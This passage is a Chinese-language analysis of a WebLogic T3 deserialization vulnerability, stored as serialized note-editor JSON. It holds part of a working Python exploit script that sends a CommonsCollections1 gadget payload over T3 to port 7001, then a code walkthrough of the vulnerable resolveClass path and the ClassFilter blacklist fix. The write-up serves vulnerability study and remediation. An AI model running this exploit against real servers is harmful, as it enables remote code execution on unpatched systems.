=socket.socket(socket.AF_INET,socket.SOCK_STREAM)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gEiZ-1673503823706&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dKrZ-1673503823705&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.connect((ip,port))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8v3P-1673503823708&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CA7z-1673503823707&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    handshake = \&#34;t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;X4Rl-1673503823710&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6Cu3-1673503823709&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.sendall(handshake.encode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;13IQ-1673503823712&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Yumg-1673503823711&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    data = sock.recv(1024)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;npKH-1673503823714&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1fvT-1673503823713&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    compile = re.compile(\&#34;HELO:(.*).0.false\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TmVs-1673503823716&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZEc-1673503823715&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    match = compile.findall(data.decode())&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZdUo-1673503823718&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xG4S-1673503823717&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if match:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCC5-1673503823720&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yk7D-1673503823719&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Weblogic: \&#34;+\&#34;\&#34;.join(match))&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Pm0q-1673503823722&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7W1E-1673503823721&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    else:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uiri-1673503823724&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;txqo-1673503823723&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        print(\&#34;Not Weblogic\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ctJG-1673503823726&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YRUi-1673503823725&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4zQu-1673503823728&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KST2-1673503823727&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    header = binascii.a2b_hex(b\&#34;00000000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vCFM-1673503823730&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QghN-1673503823729&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    t3header = binascii.a2b_hex(b\&#34;016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;wzMr-1673503823732&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tm0p-1673503823731&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    desflag = binascii.a2b_hex(b\&#34;fe010000\&#34;)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cXXx-1673503823734&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTJb-1673503823733&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = header + t3header  +desflag+  payload&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZpTQ-1673503823736&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4IWA-1673503823735&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = struct.pack(\&#34;&gt;I\&#34;,len(payload)) + payload[4:]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lUDD-1673503823738&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cuKj-1673503823737&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    sock.send(payload)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xTGM-1673503823740&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ekgt-1673503823739&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;if __name__ == \&#34;__main__\&#34;:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0Yhy-1673503823742&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntO4-1673503823741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    ip = \&#34;127.0.0.1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;k9yL-1673503823744&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xSE5-1673503823743&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    port = 7001&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LORI-1673503823746&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5GGa-1673503823745&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    gadget = \&#34;CommonsCollections1\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LhzG-1673503823748&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LqpJ-1673503823747&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    cmd = \&#34;touch /tmp/success\&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BtuA-1673503823750&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yR4k-1673503823749&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    payload = generatePayload(gadget,cmd)&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Uuvt-1673503823752&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wz0s-1673503823751&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    T3Exploit(ip,port,payload)&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;python&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5nBV-1673505956440&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qvac-1673505956441&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;大概利用过程如下：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;80kL-1673505922919&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4973/WEBRESOURCE7741c0cb5cd0bb05e84982082d40fe8a&#34;,&#34;width&#34;:2058,&#34;height&#34;:1616},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DdYR-1673506013072&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4977/WEBRESOURCEccc5a5f8e5079158d38c7553f31bd81b&#34;,&#34;width&#34;:1900,&#34;height&#34;:384},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Hpsd-1673505977742&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;knWh-1673505977741&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;代码调试：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kh2F-1673513147126&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cgza-1673513147125&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VOLo-1673513129049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//wlserver/server/lib/wlthint3client.jar/weblogic/InboundMsgAbbrev.readobject()&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bLGw-1673513153562&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XFvy-1673513153561&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#222222&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:14},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Svvc-1673513148012&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I54x-1673513148010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;private Object readObject(MsgAbbrevInputStream var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2pbI-1673513148357&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N827-1673513148356&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    int var2 = var1.read();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIEK-1673513148359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;d4dt-1673513148358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    switch (var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AVY3-1673513148361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fiPY-1673513148360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 0:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;uDAn-1673513148363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;C5Qg-1673513148362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return (new ServerChannelInputStream(var1)).readObject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;aX1s-1673513148365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZIck-1673513148364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b1SO-1673513148367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vynk-1673513148366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return var1.readASCII();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7q9q-1673513148369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JBmQ-1673513148368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        default:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nbAv-1673513148371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0P3-1673513148370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new StreamCorruptedException(\&#34;Unknown typecode: &#39;\&#34; + var2 + \&#34;&#39;\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8L9s-1673513148373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XeUQ-1673513148372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tzF2-1673513148375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lTEz-1673513148374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]}],&#34;state&#34;:{&#34;language&#34;:&#34;java&#34;}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;r2Di-1673503857432&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;33yf-1673503857430&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;在此处下断点，可看到已修改后的序列化数据：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;erBf-1673513620237&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4988/WEBRESOURCE395ada51a921d3ea0426dc971ffa6a44&#34;,&#34;width&#34;:2924,&#34;height&#34;:1840},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LaE9-1673503857588&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Xhia-1673503857586&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;通过ServerChannelInputStream.resovleClass()方法加载类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zB5B-1673516023193&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4990/WEBRESOURCE1fd4219ed48a8943c32fb3ccaf259332&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5aHA-1673516000234&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6q5Q-1673516000230&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;而ServerChannelInputStream继承自ObjectInputStream，而此处的resolveClass方法也是调用父类方法未有任何处理，故造成反序列化漏洞：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0xg-1673516194234&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/4999/WEBRESOURCE163b2ba99b23a2d551e78baa34adcc48&#34;,&#34;width&#34;:2952,&#34;height&#34;:1872},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qIDH-1673516092384&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jRxd-1673516092383&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;下面就是正常的反序列化利用链流程了。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7N7r-1673575111769&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9bmv-1673575111767&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;引用文章中的流程图：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gYBu-1673575131643&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5003/WEBRESOURCEf8cbc43c54ba1ee20cccdb3fd88698bd&#34;,&#34;width&#34;:516,&#34;height&#34;:374},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;paG0-1673575257921&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1cW-1673575257922&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F5Ou-1673575246253&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gTze-1673575246251&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修复方案&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;fontSize&#34;,&#34;value&#34;:22}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbQq-1673575129876&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QANw-1673575129874&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Weblogic选择resolveClass中添加类黑名单用于过滤反序列化利用链中所涉及的类，在其中一个补丁包中我们可以看到这个isBlackListed方法：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BipM-1673851025772&#34;,&#34;name&#34;:&#34;image&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;url&#34;:&#34;https://note.youdao.com/yws/res/5063/WEBRESOURCE7c417fdfe4ae88b117648c902dbb7d7a&#34;,&#34;width&#34;:691,&#34;height&#34;:428},&#34;nodes&#34;:[],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9Yz7-1673851060514&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dzsg-1673851060515&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;来自ClassFilter，过滤反序列化攻击所使用的关键类：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YMdw-1673851060513&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;wrap&#34;:false,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4ReW-1673851060512&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QhHo-1673850998736&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.rmi;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;2vL2-1673851061228&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kP5Q-1673851061227&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0dNA-1673851061230&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vzJd-1673851061229&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashSet;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;nK4J-1673851061232&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WVBD-1673851061231&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.StringTokenizer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TCFd-1673851061234&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8znX-1673851061233&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CFCI-1673851061236&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LPuc-1673851061235&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public abstract class ClassFilter {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4YRF-1673851061238&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8SxX-1673851061237&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String BLACK_LIST_PROPERTY = \&#34;weblogic.rmi.blacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlHx-1673851061240&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BaLp-1673851061239&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  &#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0hAe-1673851061242&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;973I-1673851061241&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  static final String DISABLE_DEFAULT_BLACKLIST_PROPERTY = \&#34;weblogic.rmi.disabledefaultblacklist\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MWZL-1673851061244&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;77IP-1673851061243&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;  